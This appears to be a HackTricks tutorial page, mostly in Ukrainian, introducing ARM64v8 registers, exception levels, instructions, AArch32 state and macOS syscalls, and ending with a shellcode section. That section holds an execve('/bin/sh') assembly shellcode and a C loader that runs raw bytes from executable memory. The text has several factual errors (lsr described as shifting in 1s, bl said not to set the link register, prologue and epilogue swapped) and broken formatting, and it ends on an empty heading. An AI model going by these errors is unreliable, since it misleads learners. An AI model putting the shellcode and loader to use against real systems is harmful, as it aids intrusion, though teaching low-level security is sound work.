Вступ до ARM64v8
Reading time: 34 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Рівні винятків - EL (ARM64v8)
У архітектурі ARMv8 рівні виконання, відомі як Exception Levels (EL), визначають рівень привілеїв та можливості середовища виконання. Існує чотири рівні винятків, від EL0 до EL3, кожен з яких виконує різні функції:
- EL0 - User Mode:
- Це найменш привілейований рівень і використовується для виконання звичайного коду додатків.
- Додатки, що працюють на EL0, ізольовані один від одного та від системного програмного забезпечення, що підвищує безпеку та стабільність.
- EL1 - Operating System Kernel Mode:
- Більшість ядер операційних систем виконуються на цьому рівні.
- EL1 має більше привілеїв, ніж EL0, і може отримувати доступ до системних ресурсів, але з деякими обмеженнями для забезпечення цілісності системи. Ви переходите з EL0 на EL1 за допомогою інструкції SVC.
- EL2 - Hypervisor Mode:
- Цей рівень використовується для віртуалізації. Гіпервізор, який працює на EL2, може керувати кількома операційними системами (кожна у своєму EL1), що працюють на одному фізичному обладнанні.
- EL2 надає можливості для ізоляції та контролю віртуалізованих середовищ.
- Тому віртуальні машини, такі як Parallels, можуть використовувати
hypervisor.framework
для взаємодії з EL2 і запуску віртуальних машин без необхідності kernel extensions. - Щоб перейти з EL1 на EL2 використовується інструкція
HVC
.
- EL3 - Secure Monitor Mode:
- Це найпривілейованіший рівень і часто використовується для secure boot та trusted execution environments.
- EL3 може керувати та контролювати доступи між secure та non-secure станами (наприклад secure boot, trusted OS і т.д.).
- Раніше використовувався для KPP (Kernel Patch Protection) у macOS, але зараз вже не використовується.
- EL3 більше не використовується Apple.
- Переходи до EL3 зазвичай виконуються за допомогою інструкції
SMC
(Secure Monitor Call).
Використання цих рівнів дозволяє структуровано й безпечно керувати різними аспектами системи — від користувацьких додатків до найбільш привілейованого системного ПЗ. Підхід ARMv8 до рівнів привілеїв допомагає ефективно ізолювати різні компоненти системи, підвищуючи її безпеку та надійність.
Регістри (ARM64v8)
ARM64 має 31 регістр загального призначення, позначених як x0
— x30
. Кожен може зберігати 64-бітне (8-байтне) значення. Для операцій, які вимагають лише 32-бітних значень, ті самі регістри можуть використовуватися в 32-бітному режимі з іменами w0
— w30
.
x0
доx7
— Зазвичай використовуються як scratch-регістри і для передачі параметрів у підпрограми.
x0
також несе дані повернення функції.
x8
- У ядрі Linuxx8
використовується як номер системного виклику для інструкціїsvc
. У macOS використовуєтьсяx16
!x9
доx15
- Більш тимчасові регістри, часто використовуються для локальних змінних.x16
таx17
- Intra-procedural Call Registers. Тимчасові регістри для значень immediates. Вони також використовуються для непрямих викликів функцій і PLT (Procedure Linkage Table) заглушок.
x16
використовується як номер системного виклику для інструкціїsvc
у macOS.
x18
- Platform register. Може використовуватися як регістр загального призначення, але на деяких платформах цей регістр зарезервований для платформо-специфічних потреб: вказівник на блок поточного thread environment у Windows або вказівник на поточну executing task structure in linux kernel.x19
доx28
- Це callee-saved регістри. Функція має зберегти значення цих регістрів для викликачa, тому вони зберігаються в стеку і відновлюються перед поверненням до викликачa.x29
- Frame pointer для відслідковування стекового фрейму. Коли створюється новий стековий фрейм через виклик функції, регістрx29
зберігається в стек, а нова адреса frame pointer (адресаsp
) зберігається в цьому регістрі.
- Цей регістр також може використовуватися як регістр загального призначення, хоча зазвичай використовується як посилання на локальні змінні.
x30
абоlr
- Link register. Містить адресу повернення, коли виконується інструкціяBL
(Branch with Link) абоBLR
(Branch with Link to Register), зберігаючи значенняpc
у цьому регістрі.
- Може також використовуватися як будь-який інший регістр.
- Якщо поточна функція викликає нову функцію і тому перезапише
lr
, вона зберігає його в стек на початку — це епілог (stp x29, x30 , [sp, #-48]; mov x29, sp
-> Зберегтиfp
іlr
, виділити простір і отримати новийfp
) і відновлює його в кінці — це пролог (ldp x29, x30, [sp], #48; ret
-> Відновитиfp
іlr
і повернутися).
sp
- Stack pointer, використовується для відстеження вершини стеку.
- Значення
sp
завжди повинно бути вирівняне принаймні на quadword, інакше може виникнути alignment exception.
pc
- Program counter, який вказує на наступну інструкцію. Цей регістр можна оновлювати лише через генерацію винятків, повернення з винятків та гілкування. Єдині звичайні інструкції, які можуть читати цей регістр — це branch with link інструкції (BL, BLR), що зберігають адресуpc
уlr
(Link Register).xzr
- Zero register. Також називаєтьсяwzr
у 32-бітній формі. Може використовуватися для швидкого отримання нульового значення (поширена операція) або для виконання порівнянь за допомогоюsubs
, наприкладsubs XZR, Xn, #10
, коли результат нікуди не зберігається (вxzr
).
Регістри Wn
— це 32-бітна версія регістрів Xn
.
tip
Регістри від X0 до X18 є змінними (volatile), тобто їх значення можуть змінюватися викликами функцій і перериваннями. Однак регістри від X19 до X28 є незмінними (non-volatile), тобто їх значення повинні зберігатися під час викликів функцій ("callee saved").
SIMD та регістри для чисел з плаваючою комою
Крім того, існує ще 32 регістри по 128 біт кожен, які можуть використовуватися для оптимізованих SIMD-операцій і для виконання операцій з плаваючою комою. Вони називаються регістрами Vn, хоча можуть також працювати в 64-бітному, 32-бітному, 16-бітному і 8-бітному режимах і тоді називаються Qn
, Dn
, Sn
, Hn
і Bn
.
Системні регістри
Існують сотні системних регістрів, також званих special-purpose registers (SPRs), які використовуються для моніторингу та керування поведінкою процесора.
Їх можна лише читати або записувати за допомогою спеціальних інструкцій mrs
та msr
.
Спеціальні регістри TPIDR_EL0
та TPIDDR_EL0
часто зустрічаються під час зворотного інженірингу. Суфікс EL0
вказує на мінімальний рівень винятку, з якого можна отримати доступ до регістра (у цьому випадку EL0 — це звичайний рівень привілеїв, з яким працюють звичайні програми).
Вони часто використовуються для збереження базової адреси області thread-local storage пам’яті. Зазвичай перший доступний для читання і запису з EL0, а другий можна читати з EL0 і записувати з EL1 (наприклад з ядра).
mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0
PSTATE
PSTATE містить кілька компонент стану процесу, серіалізованих у спеціальному регістрі, видимому для ОС — SPSR_ELx
, де X — рівень привілеїв тригерованого винятку (це дозволяє відновити стан процесу після завершення винятку).
Доступні поля:
.png)
- Прапорці умов (
N
,Z
,C
,V
): N
означає, що операція дала від’ємний результатZ
означає, що операція дала нульC
означає, що відбулося перенесення (carry)V
означає, що операція дала знакове переповнення:- Сума двох додатних чисел дає від’ємний результат.
- Сума двох від’ємних чисел дає додатний результат.
- При відніманні, коли від великого від’ємного числа віднімається менше додатне число (або навпаки), і результат не може бути представленим у межах даного розміру бітів.
- Очевидно, процесор не знає, чи операція була знаковою чи ні, тому він перевіряє C і V в операціях і вказує на перенесення у випадку, якщо це було знакове або беззнакове обчислення.
warning
Не всі інструкції оновлюють ці прапори. Деякі, як CMP
або TST
, оновлюють, і інші з суфіксом s, наприклад ADDS
, теж оновлюють їх.
- Поточний прапор ширини регістрів (
nRW
): Якщо прапор має значення 0, програма після відновлення працюватиме в AArch64 execution state. - Поточний Exception Level (
EL
): Звичайна програма, що працює на EL0, матиме значення 0. - Прапор single stepping (
SS
): Використовується дебагерами для поетапного виконання — встановивши SS=1 уSPSR_ELx
через виняток, програма виконає крок і згенерує single step exception. - Прапор illegal exception state (
IL
): Використовується для маркування, коли привілейований софт виконує недійсний перехід між рівнями винятків; цей прапор встановлюється в 1 і процесор генерує illegal state exception. - Прапорці
DAIF
: Дає можливість привілейованим програмам селективно маскувати певні зовнішні виключення. - Якщо
A
= 1, це означає, що будуть тригеритись asynchronous aborts.I
конфігурує реакцію на зовнішні апаратні Interrupt Requests (IRQs), аF
стосується Fast Interrupt Requests (FIRs). - Прапори вибору стекового вказівника (
SPS
): Привілейовані програми, що працюють на EL1 і вище, можуть перемикатися між використанням власного регістра стекового вказівника і користувацького (наприклад міжSP_EL1
іEL0
). Це перемикання виконується записом у спеціальний регістрSPSel
. Зробити це з EL0 неможливо.
Конвенція викликів (ARM64v8)
Конвенція викликів ARM64 визначає, що перші вісім параметрів функції передаються в регістрах x0
— x7
. Додаткові параметри передаються на стеку. Повернене значення повертається в регістрі x0
, або також у x1
, якщо воно має 128 біт. Регістри x19
— x30
та sp
повинні бути збережені під час викликів функцій.
При читанні функції в асемблері звертайте увагу на prologue і epilogue функції. Prologue зазвичай включає збереження frame pointer (x29
), налаштування нового frame pointer та виділення простору на стеку. Epilogue зазвичай включає відновлення збереженого frame pointer і повернення з функції.
Конвенція викликів у Swift
Swift має власну calling convention, яку можна знайти за адресою https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64
Поширені інструкції (ARM64v8)
ARM64 інструкції зазвичай мають формат opcode dst, src1, src2
, де opcode
— це операція (наприклад add
, sub
, mov
і т.д.), dst
— регістр-ціль для збереження результату, а src1
і src2
— регістри-джерела. Можна також використовувати immediate-значення замість регістрів-джерел.
-
mov
: Перемістити значення з одного реєстру в інший. -
Приклад:
mov x0, x1
— Це переміщує значення зx1
вx0
. -
ldr
: Завантажити значення з пам'яті в реєстр. -
Приклад:
ldr x0, [x1]
— Завантажує значення за адресою, вказаною вx1
, уx0
. -
Offset mode: Тут вказується зсув, що впливає на початковий вказівник, наприклад:
-
ldr x2, [x1, #8]
, це завантажить у x2 значення з адреси x1 + 8 -
ldr x2, [x0, x1, lsl #2]
, це завантажить у x2 об'єкт з масиву за базою x0, з позиції x1 (index) * 4 -
Pre-indexed mode: Це застосує обчислення до origin, отримає результат і також оновить origin.
-
ldr x2, [x1, #8]!
, це завантажитьx1 + 8
вx2
і запише в x1 результатx1 + 8
-
str lr, [sp, #-4]!
, Зберегти link register в sp і оновити регістр sp -
Post-index mode: Як попередній, але адреса пам'яті спочатку доступна, а потім обчислюється і зберігається зсув.
-
ldr x0, [x1], #8
, завантажити x1 в x0 і оновити x1 доx1 + 8
-
PC-relative addressing: В цьому випадку адреса для завантаження обчислюється відносно регістру PC
-
ldr x1, =_start
, Це завантажить в x1 адресу символу_start
відносно поточного PC. -
str
: Записати значення з реєстру в пам'ять. -
Приклад:
str x0, [x1]
— Це запише значення зx0
у пам'ять за адресоюx1
. -
ldp
: Load Pair of Registers. Ця інструкція завантажує два регістри з послідовних адрес в пам'яті. Адреса пам'яті зазвичай утворюється додаванням зсуву до значення іншого регістру. -
Приклад:
ldp x0, x1, [x2]
— Це завантажуєx0
іx1
з адресx2
іx2 + 8
відповідно. -
stp
: Store Pair of Registers. Інструкція записує два регістри у послідовні адреси в пам'яті. Адреса зазвичай утворюється додаванням зсуву до значення іншого регістру. -
Приклад:
stp x0, x1, [sp]
— Це запишеx0
іx1
у пам'ять за адресамиsp
іsp + 8
відповідно. -
stp x0, x1, [sp, #16]!
— Це запишеx0
іx1
у пам'ять за адресамиsp+16
іsp + 24
відповідно і оновитьsp
доsp+16
. -
add
: Додати значення двох регістрів і зберегти результат у регістрі. -
Синтаксис: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
-
Xn1 -> Destination
-
Xn2 -> Operand 1
-
Xn3 | #imm -> Operand 2 (реєстр або immediate)
-
[shift #N | RRX] -> Виконати зсув або RRX
-
Приклад:
add x0, x1, x2
— Додає значення вx1
іx2
і зберігає результат вx0
. -
add x5, x5, #1, lsl #12
— Це дорівнює 4096 (1 зсунуте вліво на 12) -> 1 0000 0000 0000 0000 -
adds
— виконуєadd
і оновлює прапори -
sub
: Відняти значення двох регістрів і зберегти результат у регістрі. -
Див. синтаксис
add
. -
Приклад:
sub x0, x1, x2
— Віднімаєx2
відx1
і зберігає результат уx0
. -
subs
— якsub
, але оновлює прапори -
mul
: Множення значень двох регістрів та збереження результату в регістрі. -
Приклад:
mul x0, x1, x2
— Множитьx1
наx2
і зберігає результат уx0
. -
div
: Ділити значення одного регістру на інший і зберегти результат у регістрі. -
Приклад:
div x0, x1, x2
— Ділитьx1
наx2
і зберігає результат вx0
. -
lsl
,lsr
,asr
,ror
,rrx
: -
Logical shift left: Додає 0 з кінця, пересуваючи інші біти вперед (множить на степінь двійки)
-
Logical shift right: Додає 1 на початку, пересуваючи інші біти назад (ділення на степінь двійки для unsigned)
-
Arithmetic shift right: Як
lsr
, але замість додавання 0, якщо найстарший біт = 1, додаються 1 (ділення для signed) -
Rotate right: Як
lsr
, але те, що видаляється праворуч, додається зліва -
Rotate Right with Extend: Як
ror
, але з використанням прапора переносу як "найстаршого біта". Тобто прапор переносу переміщується в біт 31, а видалений біт потрапляє в прапор переносу. -
bfm
: Bit Field Move, ці операції копіюють біти0...n
із значення і розміщують їх у позиціяхm..m+n
.#s
вказує на лівий біт, а#r
— на кількість правого повороту. -
Bitfield move:
BFM Xd, Xn, #r
-
Signed Bitfield move:
SBFM Xd, Xn, #r, #s
-
Unsigned Bitfield move:
UBFM Xd, Xn, #r, #s
-
Bitfield Extract and Insert: Копіює бітове поле з регістру і вставляє його в інший регістр.
-
BFI X1, X2, #3, #4
Вставляє 4 біти з X2 починаючи з 3-го біта в X1 -
BFXIL X1, X2, #3, #4
Витягає з 3-го біта X2 чотири біти і копіює їх в X1 -
SBFIZ X1, X2, #3, #4
Знакове розширення 4 біт з X2 і вставка в X1, починаючи з позиції 3, обнуляючи праві біти -
SBFX X1, X2, #3, #4
Витягає 4 біти, починаючи з біта 3 з X2, розширює знак і поміщає результат в X1 -
UBFIZ X1, X2, #3, #4
Нульове розширення 4 біт з X2 і вставка в X1 з позиції 3, обнуляючи праві біти -
UBFX X1, X2, #3, #4
Витягає 4 біти, починаючи з біта 3 з X2, і поміщає нульове розширення в X1. -
Sign Extend To X: Розширює знак (або додає 0 у беззнаковій версії) значення, щоб можна було проводити операції з ним:
-
SXTB X1, W2
Розширює знак байта з W2 в X1 (W2
— половинаX2
) для заповнення 64 біт -
SXTH X1, W2
Розширює знак 16-бітного числа з W2 в X1 для заповнення 64 біт -
SXTW X1, W2
Розширює знак слова з W2 в X1 для заповнення 64 біт -
UXTB X1, W2
Додає 0 (unsigned) до байта з W2 в X1 для заповнення 64 біт -
extr
: Витягає біти із зазначеної пари регістрів, об'єднаних разом. -
Приклад:
EXTR W3, W2, W1, #3
Це конкатенує W1+W2 і бере від біта 3 W2 до біта 3 W1 і зберігає в W3. -
cmp
: Порівняти два регістри і встановити прапорці умов. Це alias відsubs
, при якому регістр-ціль встановлюється у нульовий регістр. Корисно для перевірки чиm == n
. -
Підтримує той же синтаксис, що і
subs
. -
Приклад:
cmp x0, x1
— Порівнює значення вx0
іx1
і встановлює прапорці умов відповідно. -
cmn
: Compare negative операнда. Це alias відadds
і підтримує той самий синтаксис. Корисно для перевірки чиm == -n
. -
ccmp
: Умовне порівняння, виконується тільки якщо попереднє порівняння було істинним і спеціально встановлює nzcv біти. -
cmp x1, x2; ccmp x3, x4, 0, NE; blt _func
-> якщо x1 != x2 і x3 < x4, перейти до func -
Це тому, що
ccmp
буде виконано лише якщо попереднійcmp
бувNE
; якщо ні — бітиnzcv
будуть встановлені в 0 (що не задовольнитьblt
). -
Це також можна використовувати як
ccmn
(те ж саме, але негативне, якcmp
протиcmn
). -
tst
: Перевіряє, чи будь-які біти в операндах дорівнюють 1 (працює як ANDS без збереження результату). Корисно для перевірки регістра з маскою. -
Приклад:
tst X1, #7
Перевіряє, чи будь-який з останніх 3 біт X1 = 1 -
teq
: XOR операція, що відкидає результат -
b
: Безумовний Branch -
Приклад:
b myFunction
-
Зауважте, що це не заповнить link register адресою повернення (не підходить для викликів підпрограм, які потрібно повернутися)
-
bl
: Branch with link, використовується для виклику підпрограми. Зберігає адресу повернення вx30
. -
Приклад:
bl myFunction
— Викликає функціюmyFunction
і зберігає адресу повернення вx30
. -
Зауважте, що це не заповнює link register з адресою повернення (не підходить для підпрограм, які повинні повертатись) [примітка: дублюється в оригіналі].
-
blr
: Branch with Link to Register, використовується для виклику підпрограми, де ціль вказана в регістрі. Зберігає адресу повернення вx30
. (Це -
Приклад:
blr x1
— Викликає функцію за адресою вx1
і зберігає адресу повернення вx30
. -
ret
: Повернення з підпрограми, зазвичай використовуючи адресу вx30
. -
Приклад:
ret
— Повертається з поточної підпрограми, використовуючи адресу повернення вx30
. -
b.<cond>
: Умовні переходи -
b.eq
: Переходити якщо рівні, на підставі попередньої інструкціїcmp
. -
Приклад:
b.eq label
— Якщо попередня інструкціяcmp
виявила рівність, перехід доlabel
. -
b.ne
: Branch if Not Equal. Перевіряє прапорці умов (встановлені попереднім порівнянням), і якщо значення не рівні, виконує перехід. -
Приклад: Після
cmp x0, x1
,b.ne label
— Якщо значення вx0
іx1
різні, перехід доlabel
. -
cbz
: Compare and Branch on Zero. Порівнює регістр з нулем і якщо рівні — переходить. -
Приклад:
cbz x0, label
— Якщо значення вx0
= 0, перехід доlabel
. -
cbnz
: Compare and Branch on Non-Zero. Порівнює регістр з нулем і якщо не рівні — переходить. -
Приклад:
cbnz x0, label
— Якщо значення вx0
!= 0, перехід доlabel
. -
tbnz
: Test bit and branch on nonzero -
Приклад:
tbnz x0, #8, label
-
tbz
: Test bit and branch on zero -
Приклад:
tbz x0, #8, label
-
Умовні операції select: Операції, поведінка яких залежить від умовних бітів.
-
csel Xd, Xn, Xm, cond
->csel X0, X1, X2, EQ
-> Якщо true, X0 = X1, інакше X0 = X2 -
csinc Xd, Xn, Xm, cond
-> Якщо true, Xd = Xn, інакше Xd = Xm + 1 -
cinc Xd, Xn, cond
-> Якщо true, Xd = Xn + 1, інакше Xd = Xn -
csinv Xd, Xn, Xm, cond
-> Якщо true, Xd = Xn, інакше Xd = NOT(Xm) -
cinv Xd, Xn, cond
-> Якщо true, Xd = NOT(Xn), інакше Xd = Xn -
csneg Xd, Xn, Xm, cond
-> Якщо true, Xd = Xn, інакше Xd = - Xm -
cneg Xd, Xn, cond
-> Якщо true, Xd = - Xn, інакше Xd = Xn -
cset Xd, Xn, Xm, cond
-> Якщо true, Xd = 1, інакше Xd = 0 -
csetm Xd, Xn, Xm, cond
-> Якщо true, Xd = <all 1>, інакше Xd = 0 -
adrp
: Обчислити адресу сторінки символу та зберегти її в регістр. -
Приклад:
adrp x0, symbol
— Обчислює адресу сторінкиsymbol
і зберігає її вx0
. -
ldrsw
: Завантажує знакове 32-бітне значення з пам'яті і знаково розширює його до 64 біт. Часто використовується для switch-case. -
Приклад:
ldrsw x0, [x1]
— Завантажує знакове 32-бітне значення з адреси вx1
, знаково розширює до 64 біт і зберігає вx0
. -
stur
: Записати значення регістру в пам'ять, використовуючи зсув від іншого регістру. -
Приклад:
stur x0, [x1, #4]
— Записує значенняx0
у адресуx1 + 4
. -
svc
: Виконати системний виклик. Це означає "Supervisor Call". Коли процесор виконує цю інструкцію, він переключається з user mode в kernel mode і переходить до певного місця в пам'яті, де знаходиться код обробки системних викликів ядра. -
Приклад:
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
Prologue функції
- Зберегти link register і frame pointer у стек:
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
- Встановити новий вказівник кадру:
mov x29, sp
(встановлює новий вказівник кадру для поточної функції) - Виділити місце в стеку для локальних змінних (якщо потрібно):
sub sp, sp, <size>
(де<size>
— кількість потрібних байтів)
Епілог функції
- Звільнити пам'ять локальних змінних (якщо вони були виділені):
add sp, sp, <size>
- Відновити регістр зв'язку та вказівник кадру:
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
- Return:
ret
(повертає керування викликачу, використовуючи адресу в регістрі посилань)
ARM Common Memory Protections
AARCH32 Execution State
Armv8-A підтримує виконання 32-бітних програм. AArch32 може працювати в одному з двох наборів інструкцій: A32
та T32
, і може перемикатися між ними через interworking
.
Privileged 64-бітні програми можуть планувати виконання 32-бітних програм, виконуючи передачу по рівню винятків до менш привілейованого 32-бітного режиму.
Зверніть увагу, що перехід з 64-бітного до 32-бітного відбувається із зниженням рівня винятків (наприклад, 64-бітна програма в EL1 викликає програму в EL0). Це робиться шляхом встановлення біта 4 спеціального регістра SPSR_ELx``** **в 1**, коли потік
AArch32готовий до виконання, а решта
SPSR_ELxзберігає CPSR програми
AArch32. Потім привілейований процес викликає інструкцію **
ERET**, щоб процесор переключився в **
AArch32`, увійшовши в A32 або T32 залежно від CPSR.
The interworking
occurs using the J and T bits of CPSR. J=0
and T=0
means A32
and J=0
and T=1
means T32. This basically traduces on setting the lowest bit to 1 to indicate the instruction set is T32.
Це встановлюється під час interworking branch instructions, але також може бути встановлено безпосередньо іншими інструкціями, коли PC встановлено як регістр призначення. Example:
Another example:
_start:
.code 32 ; Begin using A32
add r4, pc, #1 ; Here PC is already pointing to "mov r0, #0"
bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
.code 16:
mov r0, #0
mov r0, #8
Реєстри
Існує 16 32-бітних регістрів (r0-r15). From r0 to r14 вони можуть використовуватись для будь-яких операцій, проте деякі з них зазвичай резервуються:
r15
: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.r11
: Frame Pointerr12
: Intra-procedural call registerr13
: Stack Pointer (Note the stack is always 16-byte aligned)r14
: Link Register
Крім того, регістри зберігаються у banked registries
. Це місця, які зберігають значення регістрів і дозволяють виконувати швидке перемикання контексту під час обробки винятків та привілейованих операцій, щоб уникнути необхідності вручну зберігати й відновлювати регістри щоразу.
Це робиться шляхом збереження стану процесора з CPSR
у SPSR
режиму процесора, до якого відбувається виняток. При поверненні з винятку CPSR
відновлюється зі SPSR
.
CPSR - Реєстр поточного стану програми
В AArch32 CPSR працює подібно до PSTATE
в AArch64 і також зберігається в SPSR_ELx
, коли відбувається виняток, щоб пізніше відновити виконання:
.png)
Поля поділені на кілька груп:
- Application Program Status Register (APSR): арифметичні прапорці і доступний з EL0
- Execution State Registers: поведінка процесу (керується ОС).
Application Program Status Register (APSR)
- Прапорці
N
,Z
,C
,V
(так само, як в AArch64) - Прапорець
Q
: встановлюється в 1 щоразу, коли під час виконання спеціалізованої операції насиченої арифметики відбувається integer saturation. Після встановлення в1
він зберігає це значення, доки вручну не буде встановлений у 0. Крім того, немає інструкції, яка б неявно перевіряла його значення — перевірка повинна виконуватись явно шляхом читання. - Прапорці
GE
(Greater than or equal): використовуються в SIMD (Single Instruction, Multiple Data) операціях, таких як "parallel add" і "parallel subtract". Ці операції дозволяють обробляти кілька елементів даних в одній інструкції.
Наприклад, інструкція UADD8
додає чотири пари байтів (з двох 32-бітних операндів) паралельно і зберігає результати в 32-бітному регістрі. Вона також встановлює прапорці GE
у APSR
на основі цих результатів. Кожен прапорець GE відповідає одній з операцій додавання байтів і показує, чи відбулося переповнення для цієї пари байтів.
Інструкція SEL
використовує ці прапорці GE для виконання умовних дій.
Execution State Registers
- Біти
J
іT
:J
повинен бути 0, і якщоT
= 0 використовується набір інструкцій A32, а якщо 1 — T32. - IT Block State Register (
ITSTATE
): це біти з 10-15 і 25-26. Вони зберігають умови для інструкцій всередині групи з префіксомIT
. - Біт
E
: вказує порядок байтів (endianness). - Біт(и) режиму та маски винятків (0-4): визначають поточний режим виконання. 5-й біт вказує, чи програма працює як 32-bit (1) або 64-bit (0). Інші 4 біти представляють режим винятку, що зараз використовується (коли відбувся виняток і він обробляється). Встановлене число вказує поточний пріоритет, якщо під час обробки виникне інший виняток.
.png)
AIF
: Деякі винятки можна відключити за допомогою бітівA
,I
,F
. ЯкщоA
= 1, це означає, що будуть тригеритись asynchronous aborts.I
налаштовує реакцію на зовнішні апаратні Interrupt Requests (IRQs), аF
пов'язаний з Fast Interrupt Requests (FIRs).
macOS
BSD syscalls
Перегляньте syscalls.master або виконайте cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h
. BSD syscalls матимуть x16 > 0.
Mach Traps
Подивіться в syscall_sw.c таблицю mach_trap_table
, а в mach_traps.h — прототипи. Максимальна кількість Mach traps — MACH_TRAP_TABLE_COUNT
= 128. Mach traps матимуть x16 < 0, тому потрібно викликати номери з попереднього списку зі знаком мінус: _kernelrpc_mach_vm_allocate_trap
— це -10
.
Також можна переглянути libsystem_kernel.dylib
у дизасемблері, щоб знайти, як викликати ці (та BSD) syscalls:
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
Note that Ida and Ghidra can also decompile specific dylibs from the cache just by passing the кеш.
tip
Іноді простіше перевірити декомпільований код з libsystem_kernel.dylib
ніж перевіряти вихідний код, бо код кількох syscalls (BSD і Mach) генерується скриптами (див. коментарі у вихідному коді), тоді як у dylib можна знайти те, що викликається.
machdep calls
XNU підтримує інший тип викликів, що називаються machine dependent. Номери цих викликів залежать від архітектури, і ні виклики, ні їхні номери не гарантовано залишаться сталими.
comm page
Це сторінка пам'яті, що належить ядру, яка відображається в address space кожного користувацького процесу. Вона призначена для того, щоб зробити перехід з користувацького режиму в kernel space швидшим, ніж використання syscalls для сервісів ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним.
Наприклад виклик gettimeofdate
читає значення timeval
безпосередньо з comm page.
objc_msgSend
Дуже часто цю функцію можна знайти в програмах на Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.
Parameters (more info in the docs):
- x0: self -> Вказівник на екземпляр
- x1: op -> Селектор методу
- x2... -> Інші аргументи викликаного методу
Отже, якщо ви поставите breakpoint перед переходом до цієї функції, ви легко можете знайти, що викликається в lldb за допомогою (у цьому прикладі об'єкт викликає об'єкт з NSConcreteTask
, який виконуватиме команду):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Налаштувавши env variable NSObjCMessageLoggingEnabled=1
, можна log коли ця функція викликається у файлі типу /tmp/msgSends-pid
.
Крім того, встановивши OBJC_HELP=1
і запустивши будь-який binary, ви можете побачити інші environment variables, які можна використовувати щоб log коли відбуваються певні Objc-C actions.
Коли ця функція викликається, потрібно знайти викликаний метод для вказаного екземпляра; для цього виконуються такі пошуки:
- Perform optimistic cache lookup:
- If successful, done
- Acquire runtimeLock (read)
- If (realize && !cls->realized) realize class
- If (initialize && !cls->initialized) initialize class
- Try class own cache:
- If successful, done
- Try class method list:
- If found, fill cache and done
- Try superclass cache:
- If successful, done
- Try superclass method list:
- If found, fill cache and done
- If (resolver) try method resolver, and repeat from class lookup
- If still here (= all else has failed) try forwarder
Shellcodes
Щоб скомпілювати:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Щоб витягти байти:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Для новіших версій macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C-код для тестування shellcode
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Взято з here та пояснено.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Читання за допомогою cat
